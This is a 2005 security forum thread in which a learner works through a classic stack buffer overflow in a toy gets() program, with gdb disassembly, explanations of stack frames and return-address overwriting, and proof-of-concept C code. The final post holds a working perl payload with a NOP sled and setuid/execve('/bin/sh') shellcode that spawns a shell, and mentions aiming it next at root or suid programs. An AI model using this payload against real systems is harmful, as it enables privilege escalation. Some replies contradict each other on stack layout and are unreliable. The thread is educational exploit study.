• RSS
  • Twitter
  • FaceBook

Security Forums

Log in

FAQ | Search | Usergroups | Profile | Register | RSS | Posting Guidelines | Recent Posts

gdb output and my stack...

Users browsing this topic:0 Security Fans, 0 Stealth Security Fans
Registered Security Fans: None
Post new topic   Reply to topic   Printer-friendly version    Networking/Security Forums Index -> Programming and More

View previous topic :: View next topic  
Author Message
MattA
Trusted SF Member
Trusted SF Member


Joined: 13 Jun 2003
Posts: 16777193
Location: Eastbourne + London

Offline

PostPosted: Mon Sep 19, 2005 8:27 pm    Post subject: gdb output and my stack... Reply with quote

Trying to work out what's going on with my buffer overflow.
My code

void return_input (void) {
char array[30];
gets (array);
printf("%s\n", array);
}

main () {
return_input();
return 0;
}


OK my buffer is 30 bytes long, but because of the way memory is allocated it is actually
32 bytes long.so i write in 40 bytes of data and that will overwrite both ebp and eip as they are 4 bytes each.

So when do my
matta@slax:~$ perl -e 'print "A"x40 '|overflow

I get
(gdb) info registers
eax 0x0 0
ecx 0x40142840 1075062848
edx 0x29 41
ebx 0x40141ff4 1075060724
esp 0xbffff508 0xbffff508
ebp 0x41414141 0x41414141
esi 0xbffff58c -1073744500
edi 0x1 1
eip 0x41414141 0x41414141
eflags 0x210286 2163334
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x0 0

which is correct as my ebp and eip have now been overwritten with A's.

I'm not sure where the space reserved for my array is I know that 32 in hex is 0x20
but can't find a reference to it anywhere, this is confusing me.

Below is my disas of main and return input with gdb.Letting me know what is right / wrong would be a geat help.
Thanks for bearing with me.


(gdb) disas main

Dump of assembler code for function main:
0x080483ef <main+0>: push %ebp
I think what this is doing is first storing the base pointer on the stack

0x080483f0 <main+1>: mov %esp,%ebp
Now it's moving the stack pointer into the base pointer

0x080483f2 <main+3>: sub $0x8,%esp
I think this is reserving space for my variable by subtracting 8 from the stack pointer

0x080483f5 <main+6>: and $0xfffffff0,%esp
or this might be the space reserved for my variable?

0x080483f8 <main+9>: mov $0x0,%eax
adding something to the accumulation regster

0x080483fd <main+14>: sub %eax,%esp
not sure

0x080483ff <main+16>: call 0x80483c4 <return_input>
This is the ret address that EIP will go back to after
the data from array has been collected, my shellcode should start in
the address referenced here.

0x08048404 <main+21>: mov $0x0,%eax
not sure here either

0x08048409 <main+26>: leave
might be finishing the function

0x0804840a <main+27>: ret
this is my ret address so the instructions at 0x0804840a is where
my shellcode must start, or i need to overwrite the ret address with a new one.....


I also can't see anything in, again I'm looking for that 0x20 that is my 30 chars.

Dump of assembler code for function return_input:
0x080483c4 <return_input+0>: push %ebp
0x080483c5 <return_input+1>: mov %esp,%ebp
0x080483c7 <return_input+3>: sub $0x28,%esp
0x080483ca <return_input+6>: sub $0xc,%esp
0x080483cd <return_input+9>: lea 0xffffffd8(%ebp),%eax
0x080483d0 <return_input+12>: push %eax
0x080483d1 <return_input+13>: call 0x80482c4 <_init+40>
0x080483d6 <return_input+18>: add $0x10,%esp
0x080483d9 <return_input+21>: sub $0x8,%esp
0x080483dc <return_input+24>: lea 0xffffffd8(%ebp),%eax
0x080483df <return_input+27>: push %eax
0x080483e0 <return_input+28>: push $0x8048524
0x080483e5 <return_input+33>: call 0x80482e4 <_init+72>
0x080483ea <return_input+38>: add $0x10,%esp
0x080483ed <return_input+41>: leave
0x080483ee <return_input+42>: ret
Back to top
View user's profile Send private message
skiddieleet
Just Arrived
Just Arrived


Joined: 21 Aug 2004
Posts: 1
Location: Texas

Offline

PostPosted: Mon Sep 19, 2005 10:23 pm    Post subject: Reply with quote

It's actually giving you a space of 40 bytes on the stack for your buffer
Code:

0x080483c4 <return_input+0>: push %ebp
0x080483c5 <return_input+1>: mov %esp,%ebp
0x080483c7 <return_input+3>: sub $0x28,%esp
0x080483ca <return_input+6>: sub $0xc,%esp
0x080483cd <return_input+9>: lea 0xffffffd8(%ebp),%eax

that sub $0x28, %esp subtracts 40 from esp to make space for the buffer. and the lea 0xffffffd8(%ebp),%eax puts the address of ebp-40 (your buffer) onto %eax to be pushed for the call to gets. Understand?


Last edited by skiddieleet on Tue Sep 20, 2005 5:20 am; edited 1 time in total
Back to top
View user's profile Send private message Visit poster's website AIM Address Yahoo Messenger MSN Messenger
HopperG
Just Arrived
Just Arrived


Joined: 15 Sep 2004
Posts: 1


Offline

PostPosted: Mon Sep 19, 2005 10:56 pm    Post subject: Reply with quote

MattA wrote:
0x080483ef <main+0>: push %ebp
I think what this is doing is first storing the base pointer on the stack


Indeed, usually called the saved frame pointer (SFP), this is used so you can go back to the previous stack frame once you are done with this frame (this is done with the 'leave' instruction).

MattA wrote:
0x080483f0 <main+1>: mov %esp,%ebp
Now it's moving the stack pointer into the base pointer


Again this is correct. We want to use EBP to reference local variables and parameters on the stack. Using EBP we can keep these offsets static.

MattA wrote:
0x080483f2 <main+3>: sub $0x8,%esp
I think this is reserving space for my variable by subtracting 8 from the stack pointer


Remember this is in main, it is reserving space on the stack for the local variables of main (or in this case SPF and RET), not for the local variables of return_input. Each stack frame will have its own SFP and RET.

MattA wrote:
0x080483f5 <main+6>: and $0xfffffff0,%esp
or this might be the space reserved for my variable?

0x080483f8 <main+9>: mov $0x0,%eax
adding something to the accumulation regster

0x080483fd <main+14>: sub %eax,%esp
not sure


I'm not sure either, I would say this is a strange compiler optimization. It is zero'ing out the low order byte of ESP (or AND'ing it with -16), moving zero into EAX, then subtracting zero from ESP. I can't really help you with what it is doing here. It has no bearing on the buffer overflow though.

MattA wrote:
0x080483ff <main+16>: call 0x80483c4 <return_input>
This is the ret address that EIP will go back to after
the data from array has been collected, my shellcode should start in
the address referenced here.


No, the address here is the address of the first instruction in return_input, it is what is going to be copied into EIP (if you go back and look at the disassembly of return_input, you'll see the first instruction is at memory address 0x80483c4). The current value of EIP (0x08048404 - the address of the next instruction in main, which will be reversed to /x04/x84/x04/x08 due to the little endian structure) is pushed onto the stack, and is the value that you'll over write. It will then get pop'ed into EIP when the stack frame ends and the RET instruction is called.

MattA wrote:
0x08048404 <main+21>: mov $0x0,%eax
not sure here either


We're in main here still, this is moving the return value of main into EAX (zero), the return value is always in EAX.

MattA wrote:
0x08048409 <main+26>: leave
might be finishing the function

0x0804840a <main+27>: ret
this is my ret address so the instructions at 0x0804840a is where
my shellcode must start, or i need to overwrite the ret address with a new one.....


This will never be reached if you successfully do the buffer overflow. Just for reference, leave destroys the stack frame (here it is main's stack frame), and ret pops EIP from the stack and transfers execution control to this address. It will never be reached as you are doing the overflow in return_input, the ret on return_input's stack will be overwritten, and when return_input does the RET instruction you will gain control of the program.


In return_input:

MattA wrote:
0x080483c4 <return_input+0>: push %ebp
0x080483c5 <return_input+1>: mov %esp,%ebp


Just setting up a new stack frame.

MattA wrote:
0x080483c7 <return_input+3>: sub $0x28,%esp


Making space on the stack for RET (four bytes), SFP (four bytes), array (32 bytes) ...and you know this is represented in hex.

MattA wrote:
0x080483cd <return_input+9>: lea 0xffffffd8(%ebp),%eax
0x080483d0 <return_input+12>: push %eax
0x080483d1 <return_input+13>: call 0x80482c4 <_init+40>


This is moving the address of 'array' (relative to ebp) into eax and pushing it onto the stack. Parameters for functions are always pushed onto the stack in reverse order (unless you're using the pascal style stack calling). gets is then called. When gets is called, it just takes the top four bytes of the stack and presumes that it is the correct address (just for future reference as this can be used for other exploits).

The rest then should be fairly self explanatory. It pushes the parameters for printf onto the stack, calls printf, 'leave' destroys the stack frame and ret pops whatever value that is on the stack into EIP. If you have overwritten this value, your value will get popped in.

It is worthwhile to note that this is why you must always include an 'exit' in your shellcode, as otherwise, after you escape from the shell the program will continue to try running (to finish main) which will lead to unpredictable behavior.

Hope this helps, I have a bad habit of referring to the value on the stack that will go into EIP when the RET instruction is called as 'RET', I hope that it was clear when I was referring to the value on the stack, and to the actual instruction.


Skiddieleet:
Quote:
0x080483ca <return_input+6>: sub $0xc,%esp


creates 12 bytes on the stack for

Quote:
0x080483d0 <return_input+12>: push %eax
0x080483df <return_input+27>: push %eax
0x080483e0 <return_input+28>: push $0x8048524
Back to top
View user's profile Send private message MSN Messenger
MattA
Trusted SF Member
Trusted SF Member


Joined: 13 Jun 2003
Posts: 16777193
Location: Eastbourne + London

Offline

PostPosted: Tue Sep 20, 2005 2:13 pm    Post subject: Reply with quote

Very helpful, I think I'm getting there.

0x080483ff <main+16>: call 0x80483c4 <return_input>
OK,so This is the start of my input to the buffer i.e the initial A's the 32 bytes (+8 for ret and sfp)
ret and sfp being at the 'end' so my stack looks like this

AAAA (RET)
AAAA (EBP)
AAAAAAAAAAAAAAA (array)

gets seems key here, as we persuade it to read the wrong memory address, you said gets takes the top four bytes off the stack,
is this what it thinks is the right RET address and loads it into EIP? so my shellcode must go
into the adddress where RET is pointing? or doe smy shellcode start here where return_input is?
0x080483ff <main+16>: call 0x80483c4 <return_input>

Which part is 'gets'?


0x080483ff <main+16>: call 0x80483c4 <return_input>
Back to top
View user's profile Send private message
skiddieleet
Just Arrived
Just Arrived


Joined: 21 Aug 2004
Posts: 1
Location: Texas

Offline

PostPosted: Tue Sep 20, 2005 10:39 pm    Post subject: Reply with quote

Code:

0x080483ff <main+16>: call 0x80483c4 <return_input>
This is the ret address that EIP will go back to after
the data from array has been collected, my shellcode should start in
the address referenced here.

Dump of assembler code for function return_input:
0x080483c4 <return_input+0>: push %ebp
0x080483c5 <return_input+1>: mov %esp,%ebp
0x080483c7 <return_input+3>: sub $0x28,%esp
0x080483ca <return_input+6>: sub $0xc,%esp
0x080483cd <return_input+9>: lea 0xffffffd8(%ebp),%eax
0x080483d0 <return_input+12>: push %eax
0x080483d1 <return_input+13>: call 0x80482c4 <_init+40>
0x080483d6 <return_input+18>: add $0x10,%esp
0x080483d9 <return_input+21>: sub $0x8,%esp
0x080483dc <return_input+24>: lea 0xffffffd8(%ebp),%eax
0x080483df <return_input+27>: push %eax
0x080483e0 <return_input+28>: push $0x8048524
0x080483e5 <return_input+33>: call 0x80482e4 <_init+72>
0x080483ea <return_input+38>: add $0x10,%esp
0x080483ed <return_input+41>: leave
0x080483ee <return_input+42>: ret

[quote}0x080483ff <main+16>: call 0x80483c4 <return_input>[/quote]
this automatically puts the return address on the stack and moves esp to the address after it (I'm pretty sure).
Quote:

0x080483c4 <return_input+0>: push %ebp
0x080483c5 <return_input+1>: mov %esp,%ebp
0x080483c7 <return_input+3>: sub $0x28,%esp

this pushes ebp onto the stack right after ret, then puts the address of esp into ebp, then subtracts 40 from esp as storage for array.
Quote:

0x080483ca <return_input+6>: sub $0xc,%esp
0x080483cd <return_input+9>: lea 0xffffffd8(%ebp),%eax
0x080483d0 <return_input+12>: push %eax
0x080483d1 <return_input+13>: call 0x80482c4 <_init+40>

not really sure why there is that sub of 12, but I know there's a reason Razz. The lea instruction loads the effective address of 0xffffffd8(%ebp) into %eax, which is the address of array, then it pushes that onto the stack for the call to gets. call 0x80482c4 is your call to gets, which pushes the return address onto the stack and does its thing then comes back.
Quote:

0x080483d6 <return_input+18>: add $0x10,%esp
0x080483d9 <return_input+21>: sub $0x8,%esp
0x080483dc <return_input+24>: lea 0xffffffd8(%ebp),%eax
0x080483df <return_input+27>: push %eax
0x080483e0 <return_input+28>: push $0x8048524
0x080483e5 <return_input+33>: call 0x80482e4 <_init+72>

Ok, we're back in return_input after our gets call (unless we overflowed the buffer and changed the return address Razz). move the stack around with the add and subtract (not sure why), load the address of array onto eax and push it again, then push $0x8048524 onto the stack (this is our format string for printf), then call printf.

then we do more stuff with the stack and return to main. Good luck.
Back to top
View user's profile Send private message Visit poster's website AIM Address Yahoo Messenger MSN Messenger
HopperG
Just Arrived
Just Arrived


Joined: 15 Sep 2004
Posts: 1


Offline

PostPosted: Thu Sep 22, 2005 5:39 am    Post subject: Reply with quote

I didn't notice you edited your post Matt, sorry.

MattA wrote:
0x080483ff <main+16>: call 0x80483c4 <return_input>
OK,so This is the start of my input to the buffer i.e the initial A's the 32 bytes (+8 for ret and sfp)
ret and sfp being at the 'end' so my stack looks like this

AAAA (RET)
AAAA (EBP)
AAAAAAAAAAAAAAA (array)


When you're at the call instruction you haven't gone into return_input yet, so you haven't called gets() and the computer doesn't know what you're going to enter yet. The way you have the stack is correct for when you have executed all the instructions in return_input and you're leaving return_input to go back to main.

MattA wrote:
is this what it thinks is the right RET address and loads it into EIP? so my shellcode must go
into the adddress where RET is pointing? or doe smy shellcode start here where return_input is?


If we assume that we are in return_input, and the CPU is just about to execute "0x080483ee <return_input+42>: ret" the stack looks just like you have described. The RET instruction will move the value of RET on the stack into EIP. The CPU will then look at what is at the address that EIP points to and execute it, so yes, your shellcode must go in the address that RET is pointing to.

Code:
0x080483cd <return_input+9>: lea 0xffffffd8(%ebp),%eax
0x080483d0 <return_input+12>: push %eax
0x080483d1 <return_input+13>: call 0x80482c4 <_init+40>


This is the gets() part here. lea loads the address of 'array' into EAX. Parameters for functions are pushed onto the stack, so this address is pushed onto the stack, and gets() is called. gets() reads the first value of the stack - the value that was just pushed on, and since it only takes one parameter it doesn't read anything else. gets() will then execute, which will read in what you have typed at the terminal. As it doesn't check that you don't write more than you have allocated, you can put in 'too much'. gets() will be putting what you type into the 40 bytes that we allocated on the stack. 32 of those bytes were meant for 'array' so if you put in 40 (or more) it will fill the 32 bytes for array, overwrite SPF and RET (or more).

You seem to be a little confused about the order in which things will execute. Before gets() is called the program doesn't know what you're going to enter, it is running totally normally up to this point. Things only start to go wrong when it tries to leave return_input and go back to main (which is at 0x080483ee <return_input+42>: ret). It goes wrong here because you've changed what is going to be copied into EIP. It expects 0x08048404 to be there, however you have put 0x41414141. The CPU can't tell something is wrong, so it tries to execute whatever is at 0x41414141, which isn't executable code, and the program seg faults. If you had pointed to something executable (shellcode) it would carry on executing, unbeknownst to itself that it is doing something wrong.

I hope this helps better. If you have any problems just us know.


skiddieleet wrote:
0x080483ff <main+16>: call 0x80483c4 <return_input>

this automatically puts the return address on the stack and moves esp to the address after it (I'm pretty sure).

...

0x080483ca <return_input+6>: sub $0xc,%esp

not really sure why there is that sub of 12, but I know there's a reason Razz.


Call just pushes the current EIP onto the stack and transfers control to the first address in the function, it doesn't do anything else like changing register values. As I stated at the end of my previous post, it makes room for those 12 bytes (0xc) on the stack for the 3 pushes that occur in return_input. The other 8 bytes that go with the 32 for 'array' are for SFP and RET.
Back to top
View user's profile Send private message MSN Messenger
skiddieleet
Just Arrived
Just Arrived


Joined: 21 Aug 2004
Posts: 1
Location: Texas

Offline

PostPosted: Sun Sep 25, 2005 8:17 pm    Post subject: Reply with quote

HopperG, I think you keep giving the wrong info about some things. I'll give a little poc. In the code he pasted, the return address is at array+44 - array+47.
Code:

[sbeaulli@h3r3tic1 matta]$ cat typescript2
Script started on Sun 25 Sep 2005 01:10:48 PM CDT
[sbeaulli@h3r3tic1 matta]$ cat blah.c
#include <stdio.h>
#include <string.h>

void return_input (void) {
        char array[30];
        int * ret;
        gets (array);
        printf("%s\n", array);
        ret = (int *)(array+44);
        *ret = 0x08048418;
}

main () {
        int x = 0;
        return_input();
        x = 1;
        printf("%d\n", x);
        return 0;
}
[sbeaulli@h3r3tic1 matta]$ gdb blah
GNU gdb 6.3-3mdk (Mandrakelinux)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) disas main
Dump of assembler code for function main:
0x080483e9 <main+0>:    push   %ebp
0x080483ea <main+1>:    mov    %esp,%ebp
0x080483ec <main+3>:    sub    $0x8,%esp
0x080483ef <main+6>:    and    $0xfffffff0,%esp
0x080483f2 <main+9>:    mov    $0x0,%eax
0x080483f7 <main+14>:   add    $0xf,%eax
0x080483fa <main+17>:   add    $0xf,%eax
0x080483fd <main+20>:   shr    $0x4,%eax
0x08048400 <main+23>:   shl    $0x4,%eax
0x08048403 <main+26>:   sub    %eax,%esp
0x08048405 <main+28>:   movl   $0x0,0xfffffffc(%ebp)
0x0804840c <main+35>:   call   0x80483ac <return_input>
0x08048411 <main+40>:   movl   $0x1,0xfffffffc(%ebp)
0x08048418 <main+47>:   sub    $0x8,%esp
0x0804841b <main+50>:   pushl  0xfffffffc(%ebp)
0x0804841e <main+53>:   push   $0x804851c
0x08048423 <main+58>:   call   0x80482e4 <_init+72>
0x08048428 <main+63>:   add    $0x10,%esp
0x0804842b <main+66>:   mov    $0x0,%eax
0x08048430 <main+71>:   leave 
0x08048431 <main+72>:   ret   
End of assembler dump.
(gdb) disas return_input
Dump of assembler code for function return_input:
0x080483ac <return_input+0>:    push   %ebp
0x080483ad <return_input+1>:    mov    %esp,%ebp
0x080483af <return_input+3>:    sub    $0x38,%esp
0x080483b2 <return_input+6>:    sub    $0xc,%esp
0x080483b5 <return_input+9>:    lea    0xffffffd8(%ebp),%eax
0x080483b8 <return_input+12>:   push   %eax
0x080483b9 <return_input+13>:   call   0x80482c4 <_init+40>
0x080483be <return_input+18>:   add    $0x10,%esp
0x080483c1 <return_input+21>:   sub    $0x8,%esp
0x080483c4 <return_input+24>:   lea    0xffffffd8(%ebp),%eax
0x080483c7 <return_input+27>:   push   %eax
0x080483c8 <return_input+28>:   push   $0x8048518
0x080483cd <return_input+33>:   call   0x80482e4 <_init+72>
0x080483d2 <return_input+38>:   add    $0x10,%esp
0x080483d5 <return_input+41>:   lea    0xffffffd8(%ebp),%eax
0x080483d8 <return_input+44>:   add    $0x2c,%eax
0x080483db <return_input+47>:   mov    %eax,0xffffffd4(%ebp)
0x080483de <return_input+50>:   mov    0xffffffd4(%ebp),%eax
0x080483e1 <return_input+53>:   movl   $0x8048418,(%eax)
0x080483e7 <return_input+59>:   leave 
0x080483e8 <return_input+60>:   ret   
End of assembler dump.
(gdb) quit
[sbeaulli@h3r3tic1 matta]$ ./blah
a
a
0
[sbeaulli@h3r3tic1 matta]$ exit

Script done on Sun 25 Sep 2005 01:11:09 PM CDT


See how if I have an integer pointer pointing to array+44 I am able to change the return address to an address in main where it bypasses the setting of x to 1, and outputs 0 for x. Here is another example.

Code:

[sbeaulli@h3r3tic1 matta]$ cat typescript
Script started on Sun 25 Sep 2005 01:09:31 PM CDT
[sbeaulli@h3r3tic1 matta]$ cat blah.c
#include <stdio.h>
#include <string.h>

void return_input (void) {
        int * ret;
        char array[30];
        gets (array);
        printf("%s\n", array);
        ret = (int *)(array+60);
        *ret = 0x08048418;
}

main () {
        int x = 0;
        return_input();
        x = 1;
        printf("%d\n", x);
        return 0;
}
[sbeaulli@h3r3tic1 matta]$ gdb blah
GNU gdb 6.3-3mdk (Mandrakelinux)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) disas main
Dump of assembler code for function main:
0x080483e9 <main+0>:    push   %ebp
0x080483ea <main+1>:    mov    %esp,%ebp
0x080483ec <main+3>:    sub    $0x8,%esp
0x080483ef <main+6>:    and    $0xfffffff0,%esp
0x080483f2 <main+9>:    mov    $0x0,%eax
0x080483f7 <main+14>:   add    $0xf,%eax
0x080483fa <main+17>:   add    $0xf,%eax
0x080483fd <main+20>:   shr    $0x4,%eax
0x08048400 <main+23>:   shl    $0x4,%eax
0x08048403 <main+26>:   sub    %eax,%esp
0x08048405 <main+28>:   movl   $0x0,0xfffffffc(%ebp)
0x0804840c <main+35>:   call   0x80483ac <return_input>
0x08048411 <main+40>:   movl   $0x1,0xfffffffc(%ebp)
0x08048418 <main+47>:   sub    $0x8,%esp
0x0804841b <main+50>:   pushl  0xfffffffc(%ebp)
0x0804841e <main+53>:   push   $0x804851c
0x08048423 <main+58>:   call   0x80482e4 <_init+72>
0x08048428 <main+63>:   add    $0x10,%esp
0x0804842b <main+66>:   mov    $0x0,%eax
0x08048430 <main+71>:   leave 
0x08048431 <main+72>:   ret   
End of assembler dump.
(gdb) disas return_input
Dump of assembler code for function return_input:
0x080483ac <return_input+0>:    push   %ebp
0x080483ad <return_input+1>:    mov    %esp,%ebp
0x080483af <return_input+3>:    sub    $0x38,%esp
0x080483b2 <return_input+6>:    sub    $0xc,%esp
0x080483b5 <return_input+9>:    lea    0xffffffc8(%ebp),%eax
0x080483b8 <return_input+12>:   push   %eax
0x080483b9 <return_input+13>:   call   0x80482c4 <_init+40>
0x080483be <return_input+18>:   add    $0x10,%esp
0x080483c1 <return_input+21>:   sub    $0x8,%esp
0x080483c4 <return_input+24>:   lea    0xffffffc8(%ebp),%eax
0x080483c7 <return_input+27>:   push   %eax
0x080483c8 <return_input+28>:   push   $0x8048518
0x080483cd <return_input+33>:   call   0x80482e4 <_init+72>
0x080483d2 <return_input+38>:   add    $0x10,%esp
0x080483d5 <return_input+41>:   lea    0xffffffc8(%ebp),%eax
0x080483d8 <return_input+44>:   add    $0x3c,%eax
0x080483db <return_input+47>:   mov    %eax,0xfffffff4(%ebp)
0x080483de <return_input+50>:   mov    0xfffffff4(%ebp),%eax
0x080483e1 <return_input+53>:   movl   $0x8048418,(%eax)
0x080483e7 <return_input+59>:   leave 
0x080483e8 <return_input+60>:   ret   
End of assembler dump.
(gdb) quit
[sbeaulli@h3r3tic1 matta]$ ./blah
a
a
0
[sbeaulli@h3r3tic1 matta]$ exit
exit

Script done on Sun 25 Sep 2005 01:09:56 PM CDT


This time since I declared the int * ret first array will start farther down on the stack (ebp-0x38). so if I add 0x38 (56 decimal) to array I'm at ebp, then I add 4 more (60) to hit the return address, then I change the return address and it works. According to what you were saying HopperG, in my first example I would add 32 to array to hit ebp and 36 to hit the ret addy. As you can see from what I've posted that isn't really correct. Just wanted to set the record straight.

Also, I haven't been able to exploit this to give me a shell yet for some reason. All I've been able to do is what I've shown here. Oh well. Happy hacking ;).
Back to top
View user's profile Send private message Visit poster's website AIM Address Yahoo Messenger MSN Messenger
HopperG
Just Arrived
Just Arrived


Joined: 15 Sep 2004
Posts: 1


Offline

PostPosted: Mon Sep 26, 2005 1:15 am    Post subject: Reply with quote

skiddieleet: If you notice on the disassembly you provided it is subtracting 0x38 to provide space for int pointer, array, SFP and RET.

For you, this gives us

  • Int pointer - 16 bytes
  • Array - 32 bytes
  • SFP - 4 bytes
  • RET - 4 bytes

  • Total - 56 bytes
which coincidently corresponds to the 0x38 that we see in your disassembly. This will have an obvious effect on the size required to reach RET on the stack. Not knowing basic technicalities like this, or what the call instruction does and doesn't do is really going to inhibit your ability to master vulnerability finding and exploit development.
Back to top
View user's profile Send private message MSN Messenger
skiddieleet
Just Arrived
Just Arrived


Joined: 21 Aug 2004
Posts: 1
Location: Texas

Offline

PostPosted: Tue Sep 27, 2005 5:13 am    Post subject: Reply with quote

I'm referring to this code
Code:

0x080483ff <main+16>: call 0x80483c4 <return_input>
0x080483c4 <return_input+0>: push %ebp
0x080483c5 <return_input+1>: mov %esp,%ebp
0x080483c7 <return_input+3>: sub $0x28,%esp

and nothing after it. In that segment, call pushes the return address onto the stack. Then ebp (sfp) is pushed onto the stack. Then esp is moved into ebp (sfp). Then 40 is subtracted from esp. That 40 bytes is the amount of space that array has before it starts overflowing ebp (sfp) and the return address. You seem to think that ebp and the return address are within that 40 bytes which is not the case. I made a pdf diagram of the stack in reference to that segment of code that can be found
here.

I'm not referring to my other examples where I added variables because I think that got confusing. I'm looking at the original code posted by MattA now.
Back to top
View user's profile Send private message Visit poster's website AIM Address Yahoo Messenger MSN Messenger
MattA
Trusted SF Member
Trusted SF Member


Joined: 13 Jun 2003
Posts: 16777193
Location: Eastbourne + London

Offline

PostPosted: Sun Oct 02, 2005 8:54 pm    Post subject: Reply with quote

Thank you both very much. Just to let you know how much that helped I wrote my first Buffer overflow that actually works. I cut the buffer down to 8 chars to make it easier to overflow and check the output from gdb.
But i got it figured, the objective of the BO is to fill the buffer overwrite ret and stick the memory address you want to go to (a nopsled with shellcode after in my case) written in little endian, then my shellcode of course you spend ages looking through gdb to find the addresses you want.

matta@slax:~//[b][/b]dev[b][/b]/tutes/research/Mattstute$
../overflow `perl -e 'print "\x41"x12 . "\xba\xf6\xff\xbf" .
"\x90"x10 . "\x31\xdb\x31\xc0\xb0\x17\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x8
9\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe
5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"'`
AAAAAAAAAAAA11[1CC

S
/bin/sh
sh-3.00$ exit

Heh , now all i have to do is write on for something running as root or something suid root..... next task is to re-write an existing exploit Smile
Back to top
View user's profile Send private message
Display posts from previous:   

Post new topic   Reply to topic   Printer-friendly version    Networking/Security Forums Index -> Programming and More All times are GMT + 2 Hours
Page 1 of 1


 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum

Community Area

Log in | Register